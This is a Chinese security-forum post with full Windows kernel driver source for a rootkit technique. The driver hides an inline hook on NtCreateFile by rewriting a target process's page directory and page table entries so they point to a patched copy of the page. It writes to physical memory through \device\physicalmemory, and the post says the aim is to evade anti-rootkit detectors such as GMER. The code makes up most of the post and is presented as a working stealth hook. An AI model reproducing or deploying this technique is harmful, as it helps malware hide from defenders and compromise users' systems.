HanDs
管理员

[Visual Studio文章] 透过修改内存页表 隐藏Hook 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

可以用来隐藏需要修改内存之类的Hook 如SSDT Hook 而不被Anit Rookit工具发现
主要原理是修改需要Hook的进程的PDE PTE表,把原本的虚拟位址对应到我Hook过的物理位址
由于每个进程的页表都不一样(包括System) 所以如果我只改某个进程的页表 System或Anti Rookit的页表并不会被更改 也就看不到我改过的物理内存

我的测试是用修改前五个字节的方式对notepad作Inline Hook NtCreateFile
由于NtCreateFile所在的页是4M的Large Page 所以我先建一个PTE页表 每个页为4K 对应的物理位置为原本的物理内存(这个动作应该是多馀的)

然后在得到NtCreateFile所在的4K页 把这个页Copy一份到别的位址 并且把我建的页表中这页的物理位址指向Copy出来的那页
修改Copy出来的那页 作Inline Hook

最后修改notepad的PDE 把他指向我建立的PTE页表

测试结果 如果直接Inline Hook NtCreateFile GMER这个工具可以轻松检测

修改后 就隐藏成功了

  1. #include "ntddk.h"
  2. #include "page.h"
  3. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath){
  4.    NTSTATUS status;
  5.    PDEVICE_OBJECT   deviceObject = NULL;
  6.    UNICODE_STRING   uniNtNameString;
  7.    UNICODE_STRING uniWin32NameString;
  8.   
  9.    RtlInitUnicodeString(&uniWin32NameString,Win32Name);
  10.    RtlInitUnicodeString(&uniNtNameString,NtName);
  11.   
  12.    DbgPrint("DriverEntry loaded!\n");
  13.   
  14.    status=IoCreateDevice(DriverObject,0,&uniNtNameString,FILE_DEVICE_UNKNOWN,0,FALSE,&deviceObject);
  15.    if(NT_SUCCESS(status)){
  16. DbgPrint("Device Create\n");
  17.   
  18. DriverObject->MajorFunction[IRP_MJ_CREATE]=baseCreate;
  19. DriverObject->MajorFunction[IRP_MJ_CLOSE]=baseClose;
  20. DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]=baseDeviceControl;
  21. DriverObject->DriverUnload=baseUnload;
  22.   
  23. status=IoCreateSymbolicLink(&uniWin32NameString, &uniNtNameString);
  24. if(NT_SUCCESS(status)){
  25.    DbgPrint("All OK\n");
  26. }else{
  27.    DbgPrint("SymbolicLink Error\n");
  28. }
  29.    }else{
  30. DbgPrint("Device Create Error\n");
  31.    }
  32.    return STATUS_SUCCESS;
  33. }
  34. void baseUnload(IN PDRIVER_OBJECT DriverObject)
  35. {
  36.    UNICODE_STRING uniWin32NameString;
  37.   
  38.    DbgPrint("OnUnload Called!\n");
  39.   
  40.    RtlInitUnicodeString(&uniWin32NameString,Win32Name);
  41.    IoDeleteSymbolicLink(&uniWin32NameString);
  42.    IoDeleteDevice(DriverObject->DeviceObject);
  43. }
  44. NTSTATUS baseCreate(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp){
  45.    Irp->IoStatus.Status = STATUS_SUCCESS;
  46.    Irp->IoStatus.Information = 0;
  47.    IoCompleteRequest(Irp, IO_NO_INCREMENT);
  48.   
  49.    return STATUS_SUCCESS;
  50. }
  51. NTSTATUS baseClose(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp){
  52.    Irp->IoStatus.Status = STATUS_SUCCESS;
  53.    Irp->IoStatus.Information = 0;
  54.    IoCompleteRequest(Irp, IO_NO_INCREMENT);
  55.   
  56.    return STATUS_SUCCESS;
  57. }
  58. __declspec(naked)VOID HookFunc(){
  59. __asm{
  60. mov eax,[esp+0xc]
  61. mov fOa,eax
  62. pushad
  63. }
  64. DbgPrint("Call API:NtCreateFile:%wZ\n",fOa->ObjectName);
  65. __asm{
  66. popad
  67. mov     edi,edi
  68. push ebp
  69. mov     ebp,esp
  70. jmp BackAddr
  71. }
  72. }
  73. NTSTATUS readMem(LONGLONG addr,PVOID buf,ULONG size){
  74. UNICODE_STRING uniObjName;
  75. OBJECT_ATTRIBUTES oa;
  76. HANDLE hSection;
  77. LARGE_INTEGER offset;
  78. PVOID baseAddr;
  79. ULONG temp;
  80. RtlInitUnicodeString(&uniObjName,L"\\device\\physicalmemory");
  81. InitializeObjectAttributes(&oa,&uniObjName,OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,NULL,NULL);
  82. DbgPrint("Section Error:%08x\n",ZwOpenSection(&hSection,SECTION_ALL_ACCESS,&oa));
  83. DbgPrint("%08x\n",addr);
  84. offset.QuadPart=(addr & 0xFFFFFFFFFFFFF000);
  85. DbgPrint("%08x %08x\n",offset.QuadPart,addr);
  86. temp=size+(addr & 0xFFF);
  87. baseAddr=NULL;
  88. DbgPrint("Section Error:%08x\n",ZwMapViewOfSection(hSection,ZwCurrentProcess(),&baseAddr,0,temp,&offset,&temp,ViewUnmap,0,PAGE_READWRITE));
  89. RtlCopyMemory(buf,(PVOID)((ULONG)baseAddr+(addr & 0xFFF)),size);
  90. ZwUnmapViewOfSection(ZwCurrentProcess(),baseAddr);
  91. ZwClose(hSection);
  92. return STATUS_SUCCESS;
  93. }
  94. NTSTATUS writeMem(LONGLONG addr,PVOID buf,ULONG size){
  95. UNICODE_STRING uniObjName;
  96. OBJECT_ATTRIBUTES oa;
  97. HANDLE hSection;
  98. LARGE_INTEGER offset;
  99. PVOID baseAddr;
  100. ULONG temp;
  101. RtlInitUnicodeString(&uniObjName,L"\\device\\physicalmemory");
  102. InitializeObjectAttributes(&oa,&uniObjName,OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,NULL,NULL);
  103. DbgPrint("Section Error:%08x\n",ZwOpenSection(&hSection,SECTION_ALL_ACCESS,&oa));
  104. DbgPrint("%08x\n",addr);
  105. offset.QuadPart=(addr & 0xFFFFFFFFFFFFF000);
  106. DbgPrint("%08x %08x\n",offset.QuadPart,addr);
  107. temp=size+(addr & 0xFFF);
  108. baseAddr=NULL;
  109. DbgPrint("Section Error:%08x\n",ZwMapViewOfSection(hSection,ZwCurrentProcess(),&baseAddr,0,temp,&offset,&temp,ViewUnmap,0,PAGE_READWRITE));
  110. RtlCopyMemory((PVOID)((ULONG)baseAddr+(addr & 0xFFF)),buf,size);
  111. ZwUnmapViewOfSection(ZwCurrentProcess(),baseAddr);
  112. ZwClose(hSection);
  113. return STATUS_SUCCESS;
  114. }
  115. NTSTATUS baseDispatch(IN PIRP Irp){
  116. PIO_STACK_LOCATION irpStack;
  117. NTSTATUS status;
  118. ULONG i;
  119. ULONG temp;
  120. PVOID epBase;
  121. PVOID epCurrent;
  122. PUCHAR ImageName;
  123. ULONG DirBase;
  124. ULONG PDE;
  125. ULONG PTE;
  126. ULONG PDEOffset;
  127. ULONG PTEOffset;
  128. ULONG LARGEOffset;
  129. ULONG PAGEOffset;
  130. ULONG VIRAddr;
  131. LONGLONG PHYAddr;
  132. PULONG PageTable;
  133. PVOID PageDump;
  134. PVOID MemPool;
  135. PHYSICAL_ADDRESS HAA;
  136. PHYSICAL_ADDRESS phyMemPool;
  137. KIRQL oldIrql;
  138. UCHAR JmpCode[5]={0xe9,0x00,0x00,0x00,0x00};
  139.   
  140. Irp->IoStatus.Status=STATUS_SUCCESS;
  141. Irp->IoStatus.Information=0;
  142. irpStack=IoGetCurrentIrpStackLocation(Irp);
  143. switch(irpStack->Parameters.DeviceIoControl.IoControlCode){
  144. case IOCTL_BASE_START:
  145. epBase=(PVOID)PsGetCurrentProcess();
  146. epCurrent=epBase;
  147. while(TRUE){
  148. DbgPrint("Pid:%d epCurrent:%08x\n",*(ULONG*)((ULONG)epCurrent+0x84),epCurrent);
  149. ImageName=(PCHAR)((ULONG)epCurrent+0x174);
  150. if(ImageName[0]=='n' && ImageName[1]=='o'){
  151. DirBase=*(PULONG)((ULONG)epCurrent+0x18);
  152. break;
  153. }
  154. epCurrent=(PVOID)(*(ULONG*)((ULONG)epCurrent+0x8C)-0x88);  
  155. if(epCurrent==epBase){
  156. break;
  157. }
  158. }
  159. VIRAddr=(ULONG)NtCreateFile;
  160. DbgPrint("VIRAddr:%08x DirBase:%08x\n",VIRAddr,DirBase);
  161. *(PULONG)((ULONG)JmpCode+1)=(ULONG)HookFunc-VIRAddr-5;
  162. BackAddr=VIRAddr+5;
  163. PDEOffset=(VIRAddr & 0xFFC00000)/0x400000*4;
  164. PTEOffset=(VIRAddr & 0x3FF000)/0x1000*4;
  165. PAGEOffset=(VIRAddr & 0xFFF);
  166. LARGEOffset=(VIRAddr & 0x3FFFFF);
  167. readMem((DirBase+PDEOffset),&PDE,sizeof(ULONG));
  168. DbgPrint("PDE:%08x\n",PDE);
  169. if((PDE & 80)==0){
  170. }else{
  171. PHYAddr=(PDE & 0xFFFFF000)+LARGEOffset;
  172. }
  173. DbgPrint("PHYAddr:%08x\n",PHYAddr);
  174. DbgPrint("HookFuncAddr:%08x\n",HookFunc);
  175. HAA.QuadPart=0xFFFFFFFFFFFFFFFF;
  176. MemPool=MmAllocateContiguousMemory(4096*2,HAA);
  177. phyMemPool=MmGetPhysicalAddress(MemPool);
  178. DbgPrint("%08x\n",phyMemPool);
  179. PageDump=ExAllocatePoolWithTag(NonPagedPool,4096,1234);
  180. readMem((PHYAddr & 0xFFFFFFFFFFFFF000),PageDump,4096);
  181. RtlCopyMemory((PVOID)((ULONG)PageDump+(PHYAddr & 0xFFF)),JmpCode,5);
  182. writeMem(phyMemPool.QuadPart,PageDump,4096);
  183. ExFreePoolWithTag(PageDump,1234);
  184. PageTable=ExAllocatePoolWithTag(NonPagedPool,sizeof(ULONG)*1024,1234);
  185. for(i=0;i<1024;i++){
  186. PageTable[i]=(PDE & 0xFFFFF000)+0x163+4096*i;
  187. }
  188. PageTable[PTEOffset/4]=phyMemPool.LowPart+0x163;
  189. writeMem((phyMemPool.QuadPart+4096),PageTable,sizeof(ULONG)*1024);
  190. ExFreePoolWithTag(PageTable,1234);
  191. temp=phyMemPool.LowPart+4096+0x163;
  192. writeMem((DirBase+PDEOffset),&temp,sizeof(ULONG));
  193. DbgPrint("OK\n");
  194. Irp->IoStatus.Information=0;
  195. break;
  196. default:
  197. Irp->IoStatus.Information=0;
  198. break;
  199. }
  200.   
  201. IoCompleteRequest(Irp,IO_NO_INCREMENT);
  202.   
  203. return STATUS_SUCCESS;
  204. }
  205. NTSTATUS baseDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp){
  206.    NTSTATUS status;
  207.    status=baseDispatch(Irp);
  208.   
  209.    return status;
  210. }


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
透过 修改 内存
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复